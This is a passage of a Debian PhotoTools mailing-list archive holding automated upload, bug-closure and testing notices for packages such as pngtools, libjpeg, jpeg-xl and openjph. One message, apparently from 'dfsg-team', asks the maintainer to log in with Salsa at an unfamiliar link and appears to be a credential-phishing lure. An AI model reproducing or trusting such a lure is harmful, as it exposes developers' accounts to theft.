Name: OpenPGP_signature.asc
Type: application/pgp-signature
Size: 840 bytes
Desc: OpenPGP digital signature
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/236dcdb7/attachment-0001.sig>

From ftpmaster at ftp-master.debian.org  Wed Jun 10 05:23:11 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Wed, 10 Jun 2026 04:23:11 +0000
Subject: Processing of pngtools_1.2-2_source.changes
Message-ID: <E1wXAT9-00B7gM-0B@usper.debian.org>

pngtools_1.2-2_source.changes uploaded successfully to localhost
along with the files:
  pngtools_1.2-2.dsc
  pngtools_1.2-2.debian.tar.xz
  pngtools_1.2-2_source.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Wed Jun 10 05:35:00 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Wed, 10 Jun 2026 04:35:00 +0000
Subject: pngtools_1.2-2_source.changes ACCEPTED into unstable
Message-ID: <E1wXAea-00000007K1C-2GF9@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Wed, 10 Jun 2026 11:39:31 +0800
Source: pngtools
Architecture: source
Version: 1.2-2
Distribution: unstable
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: xiao sheng wen <atzlinux at debian.org>
Closes: 1132795
Changes:
 pngtools (1.2-2) unstable; urgency=medium
 .
   * Team upload.
   * d/copyright: delete outdated URL
   * add d/p/pnginfo.c-#1132795.patch, Closes: #1132795
   * Bump to Standards-Version: 4.7.4
   * d/control: remove Priority: optional line
   * d/watch: converted to version 5
Checksums-Sha1:
 40c1faeaaa11c04ab22a529a5ca9df4d63828e96 1974 pngtools_1.2-2.dsc
 2bc5177ca618f0022dce009652d6564bf45da40a 3568 pngtools_1.2-2.debian.tar.xz
 01e9184dfa2f7f43d39d2737c1b7d281839fd366 8469 pngtools_1.2-2_source.buildinfo
Checksums-Sha256:
 573fab79803d850e4189b83a46fe7d5dce3711f21c08a1af7be04a191a0cdb90 1974 pngtools_1.2-2.dsc
 ea2ea46537e5ecb5cbdcbbfabda21f60ef5fef373f3666270310b8c2a58f205b 3568 pngtools_1.2-2.debian.tar.xz
 748c7157465b9247fc3e5679415e5b77d7b28c7a4dd89fa6d84456da5cc49993 8469 pngtools_1.2-2_source.buildinfo
Files:
 5e0d3037b787d54326278f19efaadc81 1974 graphics optional pngtools_1.2-2.dsc
 404b475799ed884f611be26ea1174020 3568 graphics optional pngtools_1.2-2.debian.tar.xz
 497e1e2e04fda7b80eebdb9b454a583a 8469 graphics optional pngtools_1.2-2_source.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEvGv7H5NUQYeSuhtTJ2Egg8PSprAFAmoo5GQACgkQJ2Egg8PS
prBZ0xAAhfUaPnd+BCMWfzkDFflW9BOjWAxE8EspymfmJ3UBuDCYFN6HWWLdyzbH
q0qXt7Kn5lPUGaNDkw3h0I7cPiqu5Z7NzPiohZXE8JOEuERSzmOHIAUyY6Kesgs3
dogPEksi+wMmvQYyrbtBu02CUHCoJO8G4dnHa3lP93TdUn76dXZbo3YrGh+Q4CRy
qVrnREWqZXbvq5pVLAHDXNTCc0OCZuAZb3Eq2KpxTsQR52kU4v8Ny7bkubC0rTrz
NIbZ8XIO7r8LPAvuddb1dHij58sizSs8qmSpWewIZgFwEajkgjKfGflQ+BGWDNYV
yjtj8Ro3XbHXsrz7ObzSt+DNDYCXTm2NnnJWSyBxcOBZb+/41mchVi+udyg74oan
UPQ7O1W4jaN7+mBJ5nFkpt9coqmoEbKLnJfvWj+ABthwG9iiIvfpEo98IcVB2RRE
eT0U63XGp4IyLhPpizkKwVrJRPPZ3NMZI2e/5hPeKDXEiecwxWvYIlAyTQ4e6Qnf
2UOOReN0CCreY3gf93VA+7oovyCPpHL84tSogGPgqCABMygKvNFs/ruXtiPQ29JP
RMTL7CNFhCBnj/av1MZY2kd80mfTCuTBmB/OZTj/icwSxRknJGkMw9AXIc/bmBfu
65QpxYPcEJG9ErmDohDy2wWxQT7+KIUK/LWcdhTP4vQq5nzF9hI=
=zu04
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/828a9f91/attachment.sig>

From owner at bugs.debian.org  Wed Jun 10 05:37:03 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Wed, 10 Jun 2026 04:37:03 +0000
Subject: Bug#1132795: marked as done (=?UTF-8?Q?=E2=80=9CResolution:?=
 (not specified)=?UTF-8?Q?=E2=80=9D?= is pointless)
References: <E1wXAea-00000007K1M-2ahq@fasolo.debian.org>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <handler.1132795.D1132795.17810661023331845.ackdone@bugs.debian.org>

Your message dated Wed, 10 Jun 2026 04:35:00 +0000
with message-id <E1wXAea-00000007K1M-2ahq at fasolo.debian.org>
and subject line Bug#1132795: fixed in pngtools 1.2-2
has caused the Debian Bug report #1132795,
regarding ?Resolution: (not specified)? is pointless
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1132795: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132795
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: "Emma Mueller" <emma2 at ro.ru>
Subject: ?Resolution: (not specified)? is pointless
Date: Sun, 05 Apr 2026 20:23:48 +0000
Size: 6930
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/81d6c655/attachment.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1132795: fixed in pngtools 1.2-2
Date: Wed, 10 Jun 2026 04:35:00 +0000
Size: 6697
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/81d6c655/attachment-0001.eml>

From noreply at release.debian.org  Wed Jun 10 05:39:03 2026
From: noreply at release.debian.org (Debian testing autoremoval watch)
Date: Wed, 10 Jun 2026 04:39:03 +0000
Subject: photoqt is marked for autoremoval from testing
Message-ID: <E1wXAiV-00DeFE-2I@respighi.debian.org>

photoqt 5.3+ds-1 is marked for autoremoval from testing on 2026-06-18

It (build-)depends on packages with these RC bugs:
1121912: freeimage: dead upstream, open security issues
 https://bugs.debian.org/1121912



For more information on the autoremoval process, including hints to prevent
autoremoval can be found on the wiki: https://wiki.debian.org/Autoremoval

This mail is generated by:
https://salsa.debian.org/release-team/release-tools/-/blob/master/mailer/mail_autoremovals.pl

Autoremoval data is generated by:
https://salsa.debian.org/qa/udd/-/blob/master/udd/testing_autoremovals_gatherer.pl


From noreply at release.debian.org  Wed Jun 10 05:39:17 2026
From: noreply at release.debian.org (Debian testing watch)
Date: Wed, 10 Jun 2026 04:39:17 +0000
Subject: pngcrush 1.8.13-5 MIGRATED to testing
Message-ID: <E1wXAij-00DeQL-0I@respighi.debian.org>

FYI: The status of the pngcrush source package
in Debian's testing distribution has changed.

  Previous version: 1.8.13-4
  Current version:  1.8.13-5

-- 
This email is automatically generated once a day.  As the installation of
new packages into testing happens multiple times a day you will receive
later changes on the next day.
See https://release.debian.org/testing-watch/ for more information.


From emma2 at ro.ru  Wed Jun 10 16:21:43 2026
From: emma2 at ro.ru (Emma Mueller)
Date: Wed, 10 Jun 2026 15:21:43 +0000
Subject: Bug#1132795: closed by Debian FTP Masters
 <ftpmaster@ftp-master.debian.org>
 (reply to xiao sheng wen <atzlinux@debian.org>) (Bug#1132795: fixed in
 pngtools 1.2-2)
In-Reply-To: <handler.1132795.D1132795.17810661023331845.notifdone@bugs.debian.org>
References: <handler.1132795.D1132795.17810661023331845.notifdone@bugs.debian.org>
 <E1wXAea-00000007K1M-2ahq@fasolo.debian.org>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
 <ff83b4d66dcc0a9c7f6f0ccb8fb48e2f@mail.rambler.ru>
Message-ID: <0a7e46a4796e90a38a995001b1c0cf49@mail.rambler.ru>

Hi xiao!
I downloaded the upgraded package. It works like a charm. Thank you very much for the fix!!!
Sincerely,
Emma
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260610/edfaf9b8/attachment.htm>

From ftpmaster at ftp-master.debian.org  Thu Jun 11 05:03:45 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Thu, 11 Jun 2026 04:03:45 +0000
Subject: Processing of libjpeg_0.0~git20250815.25f7128-3_source.changes
Message-ID: <E1wXWdt-00C5Hx-2y@usper.debian.org>

libjpeg_0.0~git20250815.25f7128-3_source.changes uploaded successfully to localhost
along with the files:
  libjpeg_0.0~git20250815.25f7128-3.dsc
  libjpeg_0.0~git20250815.25f7128-3.debian.tar.xz
  libjpeg_0.0~git20250815.25f7128-3_source.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Thu Jun 11 05:04:08 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Thu, 11 Jun 2026 04:04:08 +0000
Subject: libjpeg_0.0~git20250815.25f7128-3_source.changes ACCEPTED into
 unstable
Message-ID: <E1wXWeG-0000000BUAf-0xG4@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Thu, 11 Jun 2026 11:37:39 +0800
Source: libjpeg
Architecture: source
Version: 0.0~git20250815.25f7128-3
Distribution: unstable
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: xiao sheng wen <atzlinux at debian.org>
Closes: 1139539
Changes:
 libjpeg (0.0~git20250815.25f7128-3) unstable; urgency=medium
 .
   * Team upload.
   * Bump Standards-Version: 4.7.4
   * d/rules: add execute_before_dh_auto_build, Closes: #1139539
   * d/clean: add clear Makefile_Settings.${DEB_BUILD_GNU_CPU} link file
   * d/control: remove Priority: optional line
   * d/watch: converted to version 5
Checksums-Sha1:
 b141b755d2f466eee024f4cf1c9e062beefbf69c 2089 libjpeg_0.0~git20250815.25f7128-3.dsc
 c35df3f2c940508865022283187fb8da757d9bd5 19468 libjpeg_0.0~git20250815.25f7128-3.debian.tar.xz
 3ec27edc6331492ed62068c3c9802dd035f2e8b0 5386 libjpeg_0.0~git20250815.25f7128-3_source.buildinfo
Checksums-Sha256:
 5a586e6c2359a6067da6b6b2c197f9352c5ef969bf1905642427ee38b3bcc31c 2089 libjpeg_0.0~git20250815.25f7128-3.dsc
 884d64b532e19ce3bc3949421d248483e8fb9eb2792389358335fcdf38b9a1c9 19468 libjpeg_0.0~git20250815.25f7128-3.debian.tar.xz
 2502276c076b529c2b2b15af9f5e438144461f8498cb1248250a86f07e72d976 5386 libjpeg_0.0~git20250815.25f7128-3_source.buildinfo
Files:
 9f548f2b9043ed46b711b1eaf12a37b4 2089 graphics optional libjpeg_0.0~git20250815.25f7128-3.dsc
 1cd7a64383b23abba867688820b085a7 19468 graphics optional libjpeg_0.0~git20250815.25f7128-3.debian.tar.xz
 87471a6eb78cc709e5c36ae9ae1e6ad6 5386 graphics optional libjpeg_0.0~git20250815.25f7128-3_source.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEvGv7H5NUQYeSuhtTJ2Egg8PSprAFAmoqMN4ACgkQJ2Egg8PS
prDUoQ/9FwefIznqFdsXbts1iMQrDyKrl5YPTYOlGmm5VB3G2hIM5CCCDfZLg+nI
xETB6ElT3en6GIigPJnPAOb/RX2X9DELMkYCiXzp/Ioq1frBnqNQGateZtJHo51O
Y63yQ6cijro0LV43jJPtCmi/JAzRbLA9y9vZiw25ts55bX4OsB3MDwCdYvX2+OeB
Cn2jShmrLWxqJZK6laf7bK+nZAE/FZHl4Fry6Z9b7dXr2dvIZqOvPUCG7K3E+bqa
STa68AYstPutQci94ULeqSwLNJIWiC+jR8PsBaxu5NDRSRHSv+R1CY7BKV/pXup+
xwHdzZRDC2bREHX9/2YME063EyvEHIh5XYoL6mH76umhG+0Aj/YzD1GKh+udDu62
jse+1t5INnnRqnOvhZWVIB1CBAikDxyWoJAxasHkFdqSqSt5piA6P/BgFkWUKl3m
edZ+EV/WJNTJWW2YBXBILFImZGmZFuaHV43TbBpFpNOUHYp7+ZXf8hBufUMSqMjc
gtQYnOi7e99PbPbOO6ApPfjYjp6pEKwKbhrF+IEYIAIP7IlmLzF5rZNWFpNsNKmO
dKWtxzahl1Ywuo9MISwaYT0kwFEpDUWf1xTt/LBNEhI+w66lbdtqxr9RfPpyUtrX
r/CC33hEnD1HyOVhlA8ILl7udWNSZd4v3dUjnS/qIySXNf8LnQU=
=4vCY
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260611/8b8a0778/attachment.sig>

From owner at bugs.debian.org  Thu Jun 11 05:07:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Thu, 11 Jun 2026 04:07:02 +0000
Subject: Bug#1139539: marked as done (libjpeg: FTBFS: make[1]: *** No rule
 to make target '/<<PKGBUILDDIR>>/Makefile_Settings.x86_64'.  Stop.)
References: <E1wXWeG-0000000BUAp-1H0y@fasolo.debian.org>
 <E1wWu2Q-00As0t-1e@paradis.debian.org>
Message-ID: <handler.1139539.D1139539.17811506514029407.ackdone@bugs.debian.org>

Your message dated Thu, 11 Jun 2026 04:04:08 +0000
with message-id <E1wXWeG-0000000BUAp-1H0y at fasolo.debian.org>
and subject line Bug#1139539: fixed in libjpeg 0.0~git20250815.25f7128-3
has caused the Debian Bug report #1139539,
regarding libjpeg: FTBFS: make[1]: *** No rule to make target '/<<PKGBUILDDIR>>/Makefile_Settings.x86_64'.  Stop.
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1139539: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1139539
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Santiago Vila <sanvila at debian.org>
Subject: libjpeg: FTBFS: make[1]: *** No rule to make target '/<<PKGBUILDDIR>>/Makefile_Settings.x86_64'.  Stop.
Date: Tue, 09 Jun 2026 10:50:30 +0000
Size: 22950
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260611/01051402/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1139539: fixed in libjpeg 0.0~git20250815.25f7128-3
Date: Thu, 11 Jun 2026 04:04:08 +0000
Size: 7060
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260611/01051402/attachment-0003.eml>

From noreply at release.debian.org  Fri Jun 12 05:39:03 2026
From: noreply at release.debian.org (Debian testing autoremoval watch)
Date: Fri, 12 Jun 2026 04:39:03 +0000
Subject: openimageio is marked for autoremoval from testing
Message-ID: <E1wXtfb-00G2KL-0A@respighi.debian.org>

openimageio 2.5.19.1+dfsg-2 is marked for autoremoval from testing on 2026-06-17

It (build-)depends on packages with these RC bugs:
1133752: libopencolorio-dev: libopencolorio-dev fails to coinstall
 https://bugs.debian.org/1133752
1135439: opencolorio: FTBFS: make[3]: *** No rule to make target '/usr/lib/x86_64-linux-gnu/libEGL.so', needed by 'src/apps/ociodisplay/ociodisplay'.  Stop.
 https://bugs.debian.org/1135439



For more information on the autoremoval process, including hints to prevent
autoremoval can be found on the wiki: https://wiki.debian.org/Autoremoval

This mail is generated by:
https://salsa.debian.org/release-team/release-tools/-/blob/master/mailer/mail_autoremovals.pl

Autoremoval data is generated by:
https://salsa.debian.org/qa/udd/-/blob/master/udd/testing_autoremovals_gatherer.pl


From ftpmaster at ftp-master.debian.org  Fri Jun 12 20:05:05 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Fri, 12 Jun 2026 19:05:05 +0000
Subject: jpeg-xl_0.11.2-0.1~deb13u2_source.changes ACCEPTED into
 proposed-updates->stable-new
Message-ID: <E1wY7Bh-00000000qJ5-3ZFL@fasolo.debian.org>

Thank you for your contribution to Debian.

Mapping stable-security to proposed-updates.

Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Thu, 11 Jun 2026 20:15:43 +0200
Source: jpeg-xl
Architecture: source
Version: 0.11.2-0.1~deb13u2
Distribution: trixie-security
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: Moritz M?hlenhoff <jmm at debian.org>
Closes: 1138575
Changes:
 jpeg-xl (0.11.2-0.1~deb13u2) trixie-security; urgency=medium
 .
   * CVE-2025-70103 (Closes: #1138575)
Checksums-Sha1:
 2bf78fcbfdabbc109272b48f6339972b1f5fa968 3212 jpeg-xl_0.11.2-0.1~deb13u2.dsc
 2acaf75909eea67cc7d861a9a918733d5f630db8 1882762 jpeg-xl_0.11.2.orig.tar.gz
 46f0eac9c10525dea68fb8f650e9ef216dbc5e11 23848 jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 7892ed6b9fa3e2e9f6eca071ee979e0983db9d7d 18696 jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo
Checksums-Sha256:
 b978be4319975d73759f0737ba6935fad4f4330802835d6d9298a455c2581363 3212 jpeg-xl_0.11.2-0.1~deb13u2.dsc
 ab38928f7f6248e2a98cc184956021acb927b16a0dee71b4d260dc040a4320ea 1882762 jpeg-xl_0.11.2.orig.tar.gz
 54192375c3ff271f395b815a8ea111a5f632f5db8966baeda9dabedbc86ea2d4 23848 jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 059d6b6c1da2042bff58873b776a006c72b2b5dc60aed33cb043d94b06a74705 18696 jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo
Files:
 da3a6fc6eb6052c7b45cabbe791917ec 3212 graphics optional jpeg-xl_0.11.2-0.1~deb13u2.dsc
 eda39db6e7a58b73be9124381862b9d1 1882762 graphics optional jpeg-xl_0.11.2.orig.tar.gz
 5f72e49457b31a5ef83eb4dc87a52ec3 23848 graphics optional jpeg-xl_0.11.2-0.1~deb13u2.debian.tar.xz
 d724a9a49d08f5b8298298b3d58a560e 18696 graphics optional jpeg-xl_0.11.2-0.1~deb13u2_amd64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmorA24ACgkQEMKTtsN8
TjbzYA/+Npbp9/Fe3ZT9AiugvaZOQxXvRTm5JxX3YgRhU202+LXIYDyQxLTXT7sj
S2vBYezTNM88v3Iku/JzHPndAFUUANvnT8krstaND42cxkIKj5crpGAHr9Yz1u5m
DQSCtvxQ/s+CY/5400iUqeNzP7cMLJERi1IUZ19vD4ej4Gpda6RzKP9kRzj3/7pT
8pm8XmVe0Rkpox6SZjPukoWPXtugvxD23YJSkiaGdKihfv+MstAiXVS/ezhD1RzJ
z2LALgwZauW2+9KJpLB831CNdP7JVIADQV8Q2UzirFM6WW+uodUkUmIgjFNBYpTx
HOvY8jH1LpojV5RrUPL7yBYNTvp+ocHL/CZ/hJm/EYxcREhwMWVMEHw4h/uzzG2u
1s0ewuEpWmacGfmgg53Fly1npwnGVNfC3sxXVJC5tK3JEDjcmWQ40IYcA4z4AGUm
sTBNC3QxEwUDJQW59nIu5y6MCGsJXPHLz2b0rJytkMeolPfab+ilAKocWFbB+2G6
6G4lPFrSYhH1+PjM6AyBnF2daQmhN8DflQHiMnAvY1kLeCINFWyJUnrkM5rSeNrQ
Dv4bISwANpaU2go+sDCqtUkCka3ax3EZo6TmAdN++GirtOZPzuklz7HuTFainhJT
ID92SawSayo7sz5Wd7anAaOcIlS1P6yswkpH2P3IQT/N3hmJ5Bs=
=1Q/G
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260612/57e2b7fc/attachment.sig>

From ftpmaster at ftp-master.debian.org  Sat Jun 13 01:49:02 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 00:49:02 +0000
Subject: Processing of openjph_0.28.1-1_loong64.changes
Message-ID: <E1wYCYY-00DreQ-0l@usper.debian.org>

openjph_0.28.1-1_loong64.changes uploaded successfully to localhost
along with the files:
  openjph_0.28.1-1.dsc
  openjph_0.28.1.orig.tar.gz
  openjph_0.28.1-1.debian.tar.xz
  libopenjph-dev_0.28.1-1_loong64.deb
  libopenjph0.28-dbgsym_0.28.1-1_loong64.deb
  libopenjph0.28_0.28.1-1_loong64.deb
  openjph-doc_0.28.1-1_all.deb
  openjph-tools-dbgsym_0.28.1-1_loong64.deb
  openjph-tools_0.28.1-1_loong64.deb
  openjph_0.28.1-1_loong64.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Sat Jun 13 02:04:48 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 01:04:48 +0000
Subject: openjph_0.28.1-1_loong64.changes is NEW
Message-ID: <E1wYCno-00000001wS9-0Z8a@fasolo.debian.org>

binary:libopenjph0.28 is NEW.
binary:libopenjph0.28 is NEW.

Your package has been put into the NEW queue, which requires manual action
from the ftpteam to process. The upload was otherwise valid (it had a good
OpenPGP signature and file hashes are valid), so please be patient.

Packages are routinely processed through to the archive, and do feel
free to browse the NEW queue[1].

If there is an issue with the upload, you will receive an email from a
member of the ftpteam.

If you have any questions, you may reply to this email.

[1]: https://ftp-master.debian.org/new.html
     or https://ftp-master.debian.org/backports-new.html for *-backports
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-phototools-devel/attachments/20260613/a06298f1/attachment.sig>

From dfsg-team at debian.org  Sat Jun 13 03:15:49 2026
From: dfsg-team at debian.org (dfsg-team at debian.org)
Date: Sat, 13 Jun 2026 02:15:49 +0000
Subject: Debian NEW: possible transition for openjph 0.28.1-1 — please confirm
Message-ID: <mailman.10.1781316956.664.pkg-phototools-devel@alioth-lists.debian.net>

Hi,

Our system has detected the upload of openjph 0.28.1-1 as being a transition risk: it drops binary packages that other packages in unstable still depend on. A change like this normally needs to be coordinated with the Release Team and uploaded to experimental in the meantime.

Please let us know how to proceed by visiting the link below (you'll be asked to log in with Salsa first):

    https://dfsg-new-queue.debian.org/transition/C2V7vOCGabKOgnjQawHdjNhijPwYng92

There you can either confirm the rejection (so you can re-upload to experimental) or tell us no transition is needed and ask us to review it anyway.

More about transitions: https://wiki.debian.org/Teams/ReleaseTeam/Transitions

Thanks!


From ftpmaster at ftp-master.debian.org  Sat Jun 13 10:00:13 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sat, 13 Jun 2026 09:00:13 +0000
Subject: openjph_0.28.1-1_loong64.changes ACCEPTED into unstable
Message-ID: <E1wYKDt-00000003ZQX-0n1W@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sat, 13 Jun 2026 08:31:02 +0800
Source: openjph
Binary: libopenjph-dev libopenjph0.28 libopenjph0.28-dbgsym openjph-doc openjph-tools openjph-tools-dbgsym
Architecture: source loong64 all
Version: 0.28.1-1
Distribution: unstable
Urgency: medium
Maintainer: Debian PhotoTools Maintainers <pkg-phototools-devel at lists.alioth.debian.org>
Changed-By: xiao sheng wen <atzlinux at debian.org>
Description:
 libopenjph-dev - HTJ2K image compression/decompression library (developer files)
 libopenjph0.28 - HTJ2K image compression/decompression library (runtime files)
 openjph-doc - HTJ2K image compression/decompression library (documentation file
 openjph-tools - HTJ2K image compression/decompression library (command line tools
Changes:
 openjph (0.28.1-1) unstable; urgency=medium
 .
   * Team upload.
   * New upstream version 0.28.1
   * d/copyright: add Osamu Watanabe as upstream author
   * Bump SOVERSION to 0.28
Checksums-Sha1:
 d79f0a570320c095b52a4f0d4f61a70e18500274 2172 openjph_0.28.1-1.dsc
 1a2404f4c6556e0eb1382d1c9b7cdde086085af4 497176 openjph_0.28.1.orig.tar.gz
 c0958d7252631d8421506c6461176c40da1a91b4 5568 openjph_0.28.1-1.debian.tar.xz
 47a96d7c851524cb787a160cc2389e435e310d8f 21860 libopenjph-dev_0.28.1-1_loong64.deb
 da7f1b76e8d07d652a7c4d9ca0b726876325a81d 420380 libopenjph0.28-dbgsym_0.28.1-1_loong64.deb
 afc865149b1d35a39f2fb2d7c7f3dbcb20b9298e 110088 libopenjph0.28_0.28.1-1_loong64.deb
 84e722a274f16c4cc26b4a96e46e17327ba5b0d1 1065604 openjph-doc_0.28.1-1_all.deb
 820b71f29a3616d1c048e1cdc12ba4723fec424b 122676 openjph-tools-dbgsym_0.28.1-1_loong64.deb
 6f1d10d774c4b8b40849262aedd433804f282e05 36680 openjph-tools_0.28.1-1_loong64.deb
 30b0fe6faece0ce9fe42619ae1fa9be538e6b343 8764 openjph_0.28.1-1_loong64.buildinfo
Checksums-Sha256:
 5815a549f9a9cf760bf01d6f71dea977497f300135f017180d13b089cf351161 2172 openjph_0.28.1-1.dsc
 0b9bf698534cd121e422ff82e8ba86e4a9770a199314ef02358a86abc543d762 497176 openjph_0.28.1.orig.tar.gz
 ba6cdba33c1fea71d12b3ba97088dd92b64f04d91cc700409fad3f8e1b0f6bd9 5568 openjph_0.28.1-1.debian.tar.xz
 b31856a3b98ba39e6bf43803195e3d31986e7f0c5e58e71b62cdfbed9c9d2945 21860 libopenjph-dev_0.28.1-1_loong64.deb
 25cd44e79da783cf8585f8273f16bea04578a02f749314276be2ac71777fe3c3 420380 libopenjph0.28-dbgsym_0.28.1-1_loong64.deb
 03c9a1aca3701008e8797bae69d1f3adc20f4965feacbc1ddb329b697cf42e19 110088 libopenjph0.28_0.28.1-1_loong64.deb
 e0233165915017ba069b4a0b72b0eb07d31352898c93e12918bb284c6aebe23f 1065604 openjph-doc_0.28.1-1_all.deb
 045b628e95417aa1d64a5f25400da9a81a84ea492822b010f93ce9cab2bb4cdd 122676 openjph-tools-dbgsym_0.28.1-1_loong64.deb
 9f7684b2d2804cfb29e29cc49b152195bcd4fe2f0caa8b26f0756f53a8a79e5f 36680 openjph-tools_0.28.1-1_loong64.deb
 93c93458c4cc4e5bf04093f483cafb246b4fffcd0de279c3e6d8cda0c0548c3c 8764 openjph_0.28.1-1_loong64.buildinfo
Files:
 ccac459c02b46403d6d79b376bf91203 2172 libs optional openjph_0.28.1-1.dsc
 8b8af4572ea58fd2fd08a9fbad89704d 497176 libs optional openjph_0.28.1.orig.tar.gz
 a5c6bbc88249c3c9f48247dcfc72aa33 5568 libs optional openjph_0.28.1-1.debian.tar.xz
 8929f3653c8870ae2b116193e0e798f7 21860 libdevel optional libopenjph-dev_0.28.1-1_loong64.deb
 97ee6e40bc012e9455f10c52b2df8a36 420380 debug optional libopenjph0.28-dbgsym_0.28.1-1_loong64.deb
 36d2245c7be58a52677f5c158f7cf305 110088 libs optional libopenjph0.28_0.28.1-1_loong64.deb
 a9b1fa1632c23f3052426a3ae5797f0f 1065604 doc optional openjph-doc_0.28.1-1_all.deb
 68746d32855bf7f7f9dc2692e6d0c2b6 122676 debug optional openjph-tools-dbgsym_0.28.1-1_loong64.deb
 604822d646132b94edf98ac760cae151 36680 graphics optional openjph-tools_0.28.1-1_loong64.deb
 690470cb4bbac5ef43b76a0af8edd935 8764 libs optional openjph_0.28.1-1_loong64.buildinfo

-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEvGv7H5NUQYeSuhtTJ2Egg8PSprAFAmospUsACgkQJ2Egg8PS
prBboxAApMCQdl1smHjKlfenRhTzfUxAc35/LSniKF23FZGBaw5roMBDaTdu3slI
GuvFPqR496zMgkJ8Ak+YSsiqFFamUsALIkQE8ZFaVN0R7aydElGgVwkUAKuATiqj
U2W3baLURjpfYbaLJRbTrr1FcQkcpArugfDcewGGKvkX5sXRfdEipRXvVj1mqGyi
jVAxC6S0WVxdkYnu+4RVt972wd4yavgYzvKa172Rrq8dDinPipQ6+UfvLW56W8jf
ZUI1ct+DNYLHaxqtN01EZt8B4h+KOdDE5d98apKEsQ1TbACFNSkK6Kz72G5TuINd
iZnVcQcB1ZxhLjgolDbRVERL2bU/4LZwvaLwszIHO6Ox251oF9KwPTH2nMGkk/fX
KiUPpttDIGZLudtiuw+jhDB7hwRWlbqgtB6QwiGflIb2WtYipZq19ofbwi58B+MX
